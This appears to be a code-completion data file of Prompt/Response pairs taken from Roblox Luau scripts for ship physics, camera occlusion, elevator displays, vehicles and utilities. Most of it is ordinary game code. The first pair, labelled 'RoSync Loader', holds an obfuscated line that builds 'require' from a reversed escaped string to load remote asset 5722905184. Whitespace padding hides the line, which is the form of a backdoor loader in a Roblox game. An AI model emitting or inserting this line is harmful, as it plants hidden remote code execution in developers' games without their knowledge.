Prompt: --[[ Last synced 7/17/2021 08:03                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --local Rigging = WaitForChild(BoatModel, "Rigging")

Response:
local ShipData = EasyConfiguration.MakeEasyConfiguration(script)

ShipData.AddValue("IntValue", {
	Name = "MaxShipHealth";
	Value = 10000;
})

ShipData.AddValue("IntValue", {
	Name = "ShipHealth";
	Value = ShipData.MaxShipHealth;
})

local DamageShipFunction = WaitForChild(script, "DamageShip")
function DamageShipFunction.OnInvoke(Damage)
	if tonumber(Damage) then
		ShipData.ShipHealth = ShipData.ShipHealth - Damage
	else
		warn("[ShipScript] - Derp a herp give me a number you idiot")
	end
end

local ShipSinkingManager = {} do
	ShipSinkingManager.Sinking = false

	local FireList = {}

	local function DecomposeVector3(Vector)
		return Vector.X, Vector.Y, Vector.Z
	end

	local CannonSets = {}
	local function GetCannonSets(Model)
		for _, Item in pairs(Model:GetChildren()) do
			if Item:IsA("Model") then
				if Item:FindFirstChild("qCannonManager") then
					CannonSets[Item] = true
					--print("Cannon set found", Item)
				else
					GetCannonSets(Item)
				end
			end
		end
	end
	GetCannonSets(BoatModel)

	local function IsChildOfCannonSet(Child)
		for CannonSet, _ in pairs(CannonSets) do
			if Child:IsDescendantOf(CannonSet) then
				return true
			end
		end

		return false
	end

	function ShipSinkingManager:SetRandomPartsOnFire(PartList)
		local RelativeLookVector = Seat.CFrame.lookVector
		ShipSinkingManager.TallestPart = PartList[1]

		for _, Item in pairs(PartList) do
			local LargestSize = math.max(DecomposeVector3(Item.Size))
			local RelativeYHeight = Seat.CFrame:toObjectSpace(Item.CFrame).p.Y + 10

			if Item.Position.Y > ShipSinkingManager.TallestPart.Position.Y then
				ShipSinkingManager.TallestPart = Item
			end

			if LargestSize <= 30 and not Item:FindFirstChild("FlameFromSink") and Item.Transparency < 1 and not IsChildOfCannonSet(Item) and Item ~= PhysicsManager.CenterPart then
				if math.random() > 0.5 then
					delay(RelativeYHeight/15 + (math.random() - 0.5)*2, function()
						local Fire = Instance.new("Fire", Item)
						Fire.Size = LargestSize + 5
						Fire.Name = "FlameFromSink"
						Fire.Archivable = false
						Fire.Heat = 0

						local Index = #FireList+1
						local NewFire = {
							Fire = Fire;
							Part = Item;
						}
						if math.random() > 0.5 then
							local Smoke = Instance.new("Smoke", Item)
							Smoke.Name = "Smoke"
							Smoke.Archivable = false
							Smoke.RiseVelocity = 10;

							local SmokeColorPercent = 0.5 + math.random()*0.3
							Smoke.Color = Color3.new(SmokeColorPercent, SmokeColorPercent, SmokeColorPercent)
							Smoke.Size = LargestSize + 5
							Smoke.Opacity = 0.1

							NewFire.Smoke = Smoke
						end

						FireList[Index] = NewFire
					end)
				end
			end
		end
	end

	local function BreakOffPart(Part)
		Part:BreakJoints()
		Part.CanCollide = false

		local Mass = Part:getMass()
		local Floater = Make("BodyPosition", {
			Parent = Part;
			maxForce = Vector3.new(0, Mass * 9.81 * 20 * (1+Configuration.PercentExtraCargo), 0);
			position = Vector3.new(0, Configuration.WaterLevel, 0);
			Archivable = false;
		})

		PhysicsManager:ReduceGravity(Mass)
		Debris:AddItem(Floater, 5)
	end

	function ShipSinkingManager:StartManagingFire()
		spawn(function()
			while ShipSinkingManager.Sinking do
				local Index = 1
				while Index <= #FireList do
					local Fire = FireList[Index]
					--print(Index, Fire)
					if Fire.Part.Position.Y <= Configuration.WaterLevel then
						--print("Removing ", Index)
						Fire.Fire:Destroy()

						if Fire.Smoke then
							Fire.Smoke:Destroy()
						end

						table.remove(FireList, Index)
					else
						Index = Index + 1

						if math.random() <= 0.05 and Fire.Part.Material.Name ~= "Fabric" then
							BreakOffPart(Fire.Part)
						end
					end
				end
				wait(0.1)
				if ShipSinkingManager.TallestPart.Position.Y <= Configuration.WaterLevel - 25 then
					ShipSinkingManager:CleanUp()
				end
			end
		end)
	end

	function ShipSinkingManager:CleanUp()
		print("Cleaning")

		ShipSinkingManager.Sinking = false
		PhysicsManager:Destroy()
		ControlManager:Destroy()

		BoatModel:Destroy()
	end

	function ShipSinkingManager:Sink()
		if not ShipSinkingManager.Sinking then
			ShipSinkingManager.Sinking = true
			ShipSinkingManager:SetRandomPartsOnFire(PhysicsManager.Parts)
			PhysicsManager:Sink()
			ShipSinkingManager:StartManagingFire()
		end
	end
end

ShipData.Get("ShipHealth").Changed:connect(function()
	if ShipData.ShipHealth <= 0 then
		ShipSinkingManager:Sink()
	end
end)

PhysicsManager = {} do
	PhysicsManager.Active = true
	local Parts = {}
	PhysicsManager.Parts = Parts
	PhysicsManager.RotateGyro = CFrame.new() -- Used by sinking
	PhysicsManager.TotalForceReductionInBodyPosition = 1 -- Er... not a total, but a uh... running percentage?

	CallOnChildren(BoatModel, function(Part)
		if Part:IsA("BasePart") then
			Parts[#Parts+1] = Part
		end
	end)
	 -- Force = Mass * Acceleration

	local CenterOfMass, TotalMass = GetCenterOfMass(Parts)

	local CenterPart        = Instance.new("Part", BoatModel)
	CenterPart.Anchored     = true;
	CenterPart.Name         = "CenterPart";
	CenterPart.CanCollide   = false;
	CenterPart.Archivable   = false;
	CenterPart.FormFactor   = "Custom";
	CenterPart.Size         = Vector3.new(0.2, 0.2, 0.2)
	CenterPart.Transparency = 1
	CenterPart.CFrame       = GetRotationInXZPlane(Seat.CFrame - Seat.CFrame.p) + CenterOfMass
	PhysicsManager.CenterPart = CenterPart

	TotalMass = TotalMass + CenterPart:GetMass()

	local BodyPosition      = Instance.new("BodyPosition")
	BodyPosition.P          = 0 --10000000
	BodyPosition.D          = 0 --10000000
	BodyPosition.maxForce   = Vector3.new(0, 1 * TotalMass*(1+Configuration.PercentExtraCargo) * 9.81 * 20, 0) --Vector3.new(0, 100000000, 0)
	BodyPosition.Parent     = CenterPart
	BodyPosition.position   = CenterPart.Position--]]
	BodyPosition.Archivable = false

	local BodyGyro = Instance.new("BodyGyro")
	BodyGyro.D = 100
	BodyGyro.P = 1000
	BodyGyro.maxTorque = Vector3.new(1, 0, 1) * (Configuration.MaxRotationCorrectionAcceleration) --Vector3.new(8999999488, 0, 8999999488)
	BodyGyro.Parent = CenterPart
	BodyGyro.cframe = CenterPart.CFrame
	BodyGyro.Archivable = false

	local BodyVelocity = Instance.new("BodyVelocity")
	BodyVelocity.maxForce = Vector3.new(1, 0, 1) * (TotalMass * Configuration.Acceleration) --Vector3.new(1000000, 0, 1000000)
	BodyVelocity.P = 100
	BodyVelocity.Parent = CenterPart

	local BodyAngularVelocity = Instance.new("BodyAngularVelocity")
	BodyAngularVelocity.maxTorque = Vector3.new(0, 1*TotalMass * Configuration.TurnAccelerationFactor, 0)
	BodyAngularVelocity.P = 100
	BodyAngularVelocity.Parent = CenterPart
	BodyAngularVelocity.angularvelocity = Vector3.new()

	local TiltCoroutine = coroutine.create(function()
		local BasePosition = BodyPosition.position
		local Count = tick()%100000

		while PhysicsManager.Active do
			local Delta = coroutine.yield()
			Count = Count + 0.1*Delta

			local YRotation   = GetRotationInXZPlane(CenterPart.CFrame)
			local UndoctoredPercentTilt = CenterPart.RotVelocity.Y/Configuration.MaxSpeed/Configuration.TiltRatioFactor -- Because apparently bodyangularvelocity's never get close to the true value.
			local UndoctoredPercentSpeed = CenterPart.Velocity.magnitude/Configuration.MaxSpeed

			local UndoctoredPercent = UndoctoredPercentTilt*UndoctoredPercentSpeed

			local PercentTilt = math.max(0, math.min(1, math.abs(UndoctoredPercent)))*Sign(UndoctoredPercent)

			local PercentSpeed = math.max(0, math.min(1, UndoctoredPercentSpeed))

			local AddedYaw = Configuration.AddedYawOnSpeed * PercentSpeed
			local NewYawAmount = math.sin(Count)*Configuration.MaxShipYawInRadians*(1-PercentSpeed)+AddedYaw
			local Yaw = CFrame.Angles(NewYawAmount, 0, 0)

			local Tilt = CFrame.Angles(0, 0, Configuration.MaxShipTiltInRadians * PercentTilt)
			BodyGyro.cframe = YRotation * Tilt * Yaw * PhysicsManager.RotateGyro
		end
	end)

	local WaveCoroutine = coroutine.create(function()
		local BasePosition = BodyPosition.position
		local Count = tick()%100000

		while PhysicsManager.Active do
			local Delta = coroutine.yield()
			Count = Count + 0.1*Delta

			local UndoctoredPercentSpeed = CenterPart.Velocity.magnitude/Configuration.MaxSpeed
			local PercentSpeed = math.max(0, math.min(1, UndoctoredPercentSpeed))

			--print("PercentSpeed", PercentSpeed)

			local AddedHeightFromSpeed = Configuration.AmplitudeOfWaves * PercentSpeed
			local WaveHeight = math.sin(Count)*Configuration.AmplitudeOfWaves*(1-PercentSpeed) + AddedHeightFromSpeed -- waves don't effect ships moving fast.

			BodyPosition.position = BasePosition + Vector3.new(0, WaveHeight, 0)
		end
	end)

	spawn(function()
		local Delta = 0.1

		while PhysicsManager.Active do
			assert(coroutine.resume(TiltCoroutine, Delta))
			assert(coroutine.resume(WaveCoroutine, Delta))

			Delta = wait(0.1)
		end
	end)

	function PhysicsManager:ReduceGravity(Mass)
		BodyPosition.maxForce = BodyPosition.maxForce - Vector3.new(0,
			Mass*(1+Configuration.PercentExtraCargo) * 9.81 * 20 * PhysicsManager.TotalForceReductionInBodyPosition,
			0)
	end

	function PhysicsManager:ControlUpdate(Forwards, Turn)
		Forwards = Forwards or 0
		Turn = Turn or 0

		BodyVelocity.velocity = CenterPart.CFrame.lookVector * Forwards * Configuration.MaxSpeed
		BodyAngularVelocity.angularvelocity = Vector3.new(0, Configuration.MaxTurnSpeed * Turn, 0)
	end

	function PhysicsManager:StopControlUpdate()
		BodyVelocity.velocity = Vector3.new()
		BodyAngularVelocity.angularvelocity = Vector3.new()
	end

	function PhysicsManager:Sink()

		spawn(function()
			local ChangeInRotationOnSinkX = math.random() * math.pi/720
			local ChangeInRotationOnSinkZ = math.random() * math.pi/720
			local ChangeInForce        = 0.999
			local ControlChangeInForce = 0.999

			while PhysicsManager.Active do
				PhysicsManager.TotalForceReductionInBodyPosition = PhysicsManager.TotalForceReductionInBodyPosition * ChangeInForce
				BodyPosition.maxForce = BodyPosition.maxForce * ChangeInForce
				ChangeInForce = 1-((1 - ChangeInForce)*0.95)

				BodyAngularVelocity.maxTorque = BodyAngularVelocity.maxTorque * ControlChangeInForce
				BodyVelocity.maxForce = BodyVelocity.maxForce * ControlChangeInForce

				BodyGyro.maxTorque = BodyGyro.maxTorque * ChangeInForce
				ChangeInRotationOnSinkX = ChangeInRotationOnSinkX * 0.99
				ChangeInRotationOnSinkZ = ChangeInRotationOnSinkZ * 0.99
				PhysicsManager.RotateGyro = PhysicsManager.RotateGyro * CFrame.Angles(ChangeInRotationOnSinkX, 0, ChangeInRotationOnSinkZ)
				wait()
			end
		end)
	end

	function PhysicsManager:Destroy()
		PhysicsManager.Active = false

		BodyAngularVelocity:Destroy()
		BodyGyro:Destroy()
		BodyVelocity:Destroy()
		BodyPosition:Destroy()
		CenterPart:Destroy()
	end
end

SeatManager = {} do
	SeatManager.PlayerChanged = Signal.new()

	local ControlEndedEvent = WaitForChild(script, "ControlEnded");
	local qShipManagerLocal = WaitForChild(script, "qShipManagerLocal")
	SeatManager.Seat = Seat

	local ActivePlayerData

	function SeatManager:GetActivePlayer()
		return ActivePlayerData and ActivePlayerData.Player or nil
	end

	local function DeactivateActivePlayer()
		if ActivePlayerData then
			ActivePlayerData:Destroy()
			ActivePlayerData = nil
		end
	end

	function SeatManager:GetActivePlayer()
		if ActivePlayerData then
			return ActivePlayerData.Player
		else
			return nil
		end
	end

	local function HandleNewPlayer(Weld, Player)
		BoatModel.Parent = workspace
		SeatManager.PlayerChanged:fire()
		DeactivateActivePlayer()

		local NewData = {}
		NewData.Player = Player
		NewData.Weld = Weld

		local Script = qShipManagerLocal:Clone()
		Script.Archivable = false;

		local Maid = MakeMaid()
		NewData.Maid = Maid

		Make("ObjectValue", {
			Name = "ParentScript";
			Value = script;
			Archivable = false;
			Parent = Script;
		})
		NewData.Script = Script

		Maid:GiveTask(function()
			if Player:IsDescendantOf(game) then
				ControlEndedEvent:FireClient(Player)
				Script.Name = "_DeadScript";--]]
				Script:Destroy()
			end
		end)--]]

		Script.Parent = Player.PlayerGui
		Script.Disabled = false

		print("New player -", Player)

		function NewData:Destroy()
			Maid:DoCleaning()
			Maid = nil
		end

		ActivePlayerData = NewData
	end

	Seat.ChildAdded:connect(function(Weld)
		if Weld:IsA("Weld") then
			local Torso = Weld.Part1

			if Torso then
				local Character, Player = GetCharacter(Torso)
				if Player and CheckCharacter(Player) and Character.Humanoid.Health > 0 then
					HandleNewPlayer(Weld, Player)
				end
			end
		end
	end)

	Seat.ChildRemoved:connect(function(Child)
		if ActivePlayerData and ActivePlayerData.Weld == Child then
			--ActivePlayerData.Player.PlayerGui
			DeactivateActivePlayer()
			SeatManager.PlayerChanged:fire()
		end
	end)
end

ControlManager = {} do
	ControlManager.Active = true
	local MoveEvent = WaitForChild(script, "Move");
	local StopEvent = WaitForChild(script, "Stop");
	local Forwards
	local Turn

	local Updating = false
	local UpdateCoroutine = coroutine.create(function()
		while ControlManager.Active do
			local Delta = wait()
			while (Forwards or Turn) and SeatManager:GetActivePlayer() do
				--[[if Forwards then
					PhysicsManager:Forwards(Delta, Forwards)
				else
					PhysicsManager:Forwards(Delta, nil)
				end

				if Turn then
					PhysicsManager:Turn(Delta, Turn)
				else
					PhysicsManager:Turn(Delta, Turn)
				end--]]
				PhysicsManager:ControlUpdate(Forwards, Turn)

				Delta = wait()
			end

			PhysicsManager:StopControlUpdate()

			Updating = false
			coroutine.yield()
		end
	end)
	assert(coroutine.resume(UpdateCoroutine))

	local function StartUpdate()
		if not Updating and ControlManager.Active then
			Updating = true
			assert(coroutine.resume(UpdateCoroutine))
		end
	end

	MoveEvent.OnServerEvent:connect(function(Client, Type)
		if Client == SeatManager:GetActivePlayer() then
			if Type == "Forwards" then
				Forwards = 1
			elseif Type == "Backwards" then
				Forwards = -1
			elseif Type == "Left" then
				Turn = 1
			elseif Type == "Right" then
				Turn = -1
			else
				warn("Unable to handle move event with type `" .. tostring(Type) .. "`")
			end
		else
			warn("Invalid client, cannot move")
		end
	end)

	StopEvent.OnServerEvent:connect(function(Client, Type)
		if Client == SeatManager:GetActivePlayer() then
			if Type == "Forwards" or Type == "Backwards" then
				Forwards = nil
			elseif Type == "Left" or Type == "Right" then
				Turn = nil
			else
				warn("Unable to handle move event with type `" .. tostring(Type) .. "`")
			end
		else
			warn("Invalid client, cannot move")
		end
	end)

	function ControlManager:Destroy()
		ControlManager.Active = false
	end
end

local WeldManager = {} do
	local Parts = GetBricks(BoatModel)
	WeldParts(Parts, PhysicsManager.CenterPart, "ManualWeld")
end


Prompt: -- the Tool, reffered to here as "Block." Do not change it!

Response: Block = script.Parent.Parent.Body -- You CAN change the name in the quotes "Example Tool"


Prompt:
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of
-- current control scheme

Response:
function ControlModule:OnComputerMovementModeChange()
	local controlModule, success =  self:SelectComputerMovementModule()
	if success then
		self:SwitchToController(controlModule)
	end
end

function ControlModule:OnTouchMovementModeChange()
	local touchModule, success = self:SelectTouchModule()
	if success then
		while not self.touchControlFrame do
			wait()
		end
		self:SwitchToController(touchModule)
	end
end

function ControlModule:CreateTouchGuiContainer()
	if self.touchGui then self.touchGui:Destroy() end

	-- Container for all touch device guis
	self.touchGui = Instance.new("ScreenGui")
	self.touchGui.Name = "TouchGui"
	self.touchGui.ResetOnSpawn = false
	self.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	self.touchGui.Enabled = self.humanoid ~= nil

	self.touchControlFrame = Instance.new("Frame")
	self.touchControlFrame.Name = "TouchControlFrame"
	self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	self.touchControlFrame.BackgroundTransparency = 1
	self.touchControlFrame.Parent = self.touchGui

	self.touchGui.Parent = self.playerGui
end

function ControlModule:GetClickToMoveController()
	if not self.controllers[ClickToMove] then
		self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)
	end
	return self.controllers[ClickToMove]
end

return ControlModule.new()


Response:
function CharacterClone.new(character)
	local self = setmetatable({}, CharacterClone)

	self.Character = character
	self.Clone = character:Clone()

	self.Clone:WaitForChild("Humanoid").DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
	self.Lookup = self:GetLookup()

	return self
end


Prompt: --		end

Response:
		return
	end
end

function move(time)
	local amplitude
	local frequency

	if (pose == "Jumping") then
		moveJump()
		return
	end

	if (pose == "FreeFall") then
		moveFreeFall()
		return
	end

	if (pose == "Climbing") then
		moveClimb()
		return
	end

	if (pose == "Seated") then
		moveSit()
		return
	end

	RightShoulder.MaxVelocity = 0.25
	LeftShoulder.MaxVelocity = 0.25
	if (pose == "Running") then
		amplitude = 1
		frequency = 9
	else
		amplitude = 0.1
		frequency = 1
	end

	desiredAngle = amplitude * math.sin(time*frequency)

	RightShoulder.DesiredAngle = desiredAngle
	LeftShoulder.DesiredAngle = desiredAngle
	RightHip.DesiredAngle = -desiredAngle
	LeftHip.DesiredAngle = -desiredAngle

	local tool = getTool()

	if tool ~= nil then

		animStringValueObject = getToolAnim(tool)

		if animStringValueObject ~= nil then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()

	else
		toolAnim = "None"
		toolAnimTime = 0
	end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(script.Parent:WaitForChild("CameraUtils"));
local l__Players__2 = game:GetService("Players");
local v3, v4 = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserPortraitPopperFix");
end);
local v5 = require(script.Parent:WaitForChild("BaseOcclusion"));
local v6 = setmetatable({}, v5);
v6.__index = v6;
function v6.new()
	local v7 = setmetatable(v5.new(), v6);
	v7.camera = nil;
	v7.cameraSubjectChangeConn = nil;
	v7.subjectPart = nil;
	v7.playerCharacters = {};
	v7.vehicleParts = {};
	v7.lastPopAmount = 0;
	v7.lastZoomLevel = 0;
	v7.popperEnabled = false;
	return v7;
end;
function v6.GetOcclusionMode(p1)
	return Enum.DevCameraOcclusionMode.Zoom;
end;
function v6.Enable(p2, p3)

end;
function v6.CharacterAdded(p4, p5, p6)
	p4.playerCharacters[p6] = p5;
end;
function v6.CharacterRemoving(p7, p8, p9)
	p7.playerCharacters[p9] = nil;
end;
local u1 = v3 or v4;
function v6.Update(p10, p11, p12, p13)
	if not p10.popperEnabled then
		return p12, p13;
	end;
	p10.camera = game.Workspace.CurrentCamera;
	local v8 = p12;
	local v9 = p13.p;
	if u1 and p10.subjectPart then
		v9 = p10.subjectPart.CFrame.p;
	end;
	local v10 = {};
	for v11, v12 in pairs(p10.playerCharacters) do
		v10[#v10 + 1] = v12;
	end;
	for v13 = 1, #p10.vehicleParts do
		v10[#v10 + 1] = p10.vehicleParts[v13];
	end;
	local l__CFrame__14 = p10.camera.CFrame;
	p10.camera.CFrame = p12;
	p10.camera.Focus = p13;
	local l__Magnitude__15 = (p12.p - v9).Magnitude;
	if math.abs(l__Magnitude__15 - p10.lastZoomLevel) > 0.001 then
		p10.lastPopAmount = 0;
	end;
	local v16 = p10.camera:GetLargestCutoffDistance(v10);
	if v16 < p10.lastPopAmount then
		v16 = p10.lastPopAmount;
	end;
	if v16 > 0 then
		v8 = p12 + p12.lookVector * v16;
		p10.lastPopAmount = v16 - 0.3;
		if p10.lastPopAmount < 0 then
			p10.lastPopAmount = 0;
		end;
	end;
	p10.lastZoomLevel = l__Magnitude__15;
	return v8, p13;
end;
local u2 = { "Humanoid", "VehicleSeat", "SkateboardPlatform" };
function v6.OnCameraSubjectChanged(p14, p15)
	p14.vehicleParts = {};
	p14.lastPopAmount = 0;
	if p15 then
		p14.popperEnabled = false;
		for v17, v18 in pairs(u2) do
			if p15:IsA(v18) then
				p14.popperEnabled = true;
				break;
			end;
		end;
		if p15:IsA("VehicleSeat") then
			p14.vehicleParts = p15:GetConnectedParts(true);
		end;
		if u1 then
			if p15:IsA("BasePart") then
				p14.subjectPart = p15;
				return;
			end;
			if p15:IsA("Model") then
				if p15.PrimaryPart then
					p14.subjectPart = p15.PrimaryPart;
					return;
				else
					for v19, v20 in pairs(p15:GetChildren()) do
						if v20:IsA("BasePart") then
							p14.subjectPart = v20;
							return;
						end;
					end;
					return;
				end;
			elseif p15:IsA("Humanoid") then
				p14.subjectPart = p15.RootPart;
			end;
		end;
	end;
end;
return v6;


Prompt:
--[[

	----------------------------------------------------------------------------------

	API:

		- pathfinder:FindPath()
		- pathfinder:SetEmptyCutoff()
		- path:GetPointCoordinates()
		- path:CheckOcclusionAsync()

		EXAMPLES:

		- pathfinder = require(game.ServerScriptService.Pathfinder)

		- path = pathfinder:FindPath(startPosition, endPosition)

				- points = path:GetPointCoordinates()
				- index  = path:CheckOcclusionAsync(startIndex)

		- pathfinder:SetEmptyCutoff(ratio)

	----------------------------------------------------------------------------------

	HOW TO USE -- Example Code:

		local pathfinder = require(game.ServerScriptService.Pathfinder)
		local points, status = pathfinder:FindPath(startPosition, endPosition)

		-- Where 'startPosition' and 'endPosition' are Vector3 values that
		-- represent the start and end positions of the path.

	----------------------------------------------------------------------------------

	BENEFITS OVER PATHFINDINGSERVICE:

	-	Simplified path. Instead of having tons of points for every step
		of the way, this API will simplify the path by only keeping the
		important points: the start/end points for each straight or
		diagonal line.

	-	No distance cap. You can find a path between as far of a distance
		as you want. The API will connect multiple max-length paths from
		the PathfindingService for you and return a single list of points.

--]]

Response:
local Pathfinder = {}
local API = {}
local MT = {}


Prompt:
-- send helicopter's engine and the health value obj to server to start repairng
-- send nil to server to cancel repair


Prompt:
--[=[
	Promises a player userName with retries enabled.
	@param userId number
	@return Promise<string>
]=]

Response:
function PlayerThumbnailUtils.promiseUserName(userId)
	assert(type(userId) == "number", "Bad userId")

	local promise
	promise = Promise.spawn(function(resolve, reject)
		local tries = 0
		repeat
			tries = tries + 1
			local name
			local ok, err = pcall(function()
				name = Players:GetNameFromUserIdAsync(userId)
			end)

			-- Don't retry if we immediately error (timeout exceptions!)
			if not ok then
				return reject(err)
			end

			if type(name) == "string" then
				return resolve(name)
			else
				task.wait(0.05)
			end
		until tries >= MAX_TRIES or (not promise:IsPending())
		reject()
	end)

	return promise
end

return PlayerThumbnailUtils


Response:
This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)

ArwTime = 0.2

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Elevator:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do
			for r=1,43 do
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.95)
			end
		end
	end
end

while wait() do
    if Elevator:WaitForChild("MotorMode").Value ~= "idle" then
	    if Elevator:WaitForChild("Direction").Value == 1 then
			This.Display.ARW1.U1.Transparency = 0.8
			This.Display.ARW1.U2.Transparency = 0.4
			This.Display.ARW1.U3.Transparency = 0
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 0.8
			This.Display.ARW1.U3.Transparency = 0.4
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 0.8
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 0
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 0.4
			This.Display.ARW1.U2.Transparency = 0
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
	    elseif Elevator:WaitForChild("Direction").Value == -1 then
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 0.8
			This.Display.ARW1.D2.Transparency = 0.4
			This.Display.ARW1.D3.Transparency = 0
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 0.8
			This.Display.ARW1.D3.Transparency = 0.4
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 0.8
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 0
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 0.4
			This.Display.ARW1.D2.Transparency = 0
			This.Display.ARW1.D3.Transparency = 1
			wait(ArwTime)
		else
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
	    end
	else
	    if Elevator:WaitForChild("Direction").Value == 1 then
			This.Display.ARW1.U1.Transparency = 0.8
			This.Display.ARW1.U2.Transparency = 0.4
			This.Display.ARW1.U3.Transparency = 0
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
	    elseif Elevator:WaitForChild("Direction").Value == -1 then
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 0.8
			This.Display.ARW1.D2.Transparency = 0.4
			This.Display.ARW1.D3.Transparency = 0
		else
			This.Display.ARW1.U1.Transparency = 1
			This.Display.ARW1.U2.Transparency = 1
			This.Display.ARW1.U3.Transparency = 1
			This.Display.ARW1.D1.Transparency = 1
			This.Display.ARW1.D2.Transparency = 1
			This.Display.ARW1.D3.Transparency = 1
	    end
	end

	if Elevator:WaitForChild("Mode").Value ~= "auto" then
		This.Legend.SurfaceGui.Enabled = true
	else
		This.Legend.SurfaceGui.Enabled = false
	end
end


Prompt:
--//Script
--Plaka()

Response:
CarColor()

Stats.Locked.Changed:Connect(function()
ToogleLock(Stats.Locked.Value)
end)
Stats.Color.Changed:Connect(function()
CarColor()
end)

Fuel = script.Parent.Parent.Stats.Fuel
MainPart = script.Parent.Parent.Body.Main
while wait(.5) do
if oldpos == nil then
oldpos = MainPart.Position
else
newpos = MainPart.Position
Fuel.Value = Fuel.Value - (oldpos - newpos).Magnitude/150
oldpos = newpos
end
end


Prompt: --Editable Values

Response:
local Drag = .32  	--Drag Coefficient
local F = 105		--Downforce at 300 SPS
local R = 100		--Downforce at 300 SPS
local Vol = 1


Prompt:
--[=[
	@return PROPERTY_MARKER
	Returns a marker that will transform the current key into
	a RemoteProperty once the service is created. Should only
	be called within the Client table of a service. An initial
	value can be passed along as well.

	RemoteProperties are great for replicating data to all of
	the clients. Different data can also be set per client.

	See [RemoteProperty](https://sleitnick.github.io/RbxUtil/api/RemoteProperty)
	documentation for more info.

	```lua
	local MyService = Knit.CreateService {
		Name = "MyService";
		Client = {
			-- Create the property marker, which will turn into a
			-- RemoteProperty when Knit.Start() is called:
			MyProperty = Knit.CreateProperty("HelloWorld")
		}
	}

	function MyService:KnitInit()
		-- Change the value of the property:
		self.Client.MyProperty:Set("HelloWorldAgain")
	end
	```
]=]

Response:
function KnitServer.CreateProperty(initialValue: any)
	return {PROPERTY_MARKER, initialValue}
end


Prompt:
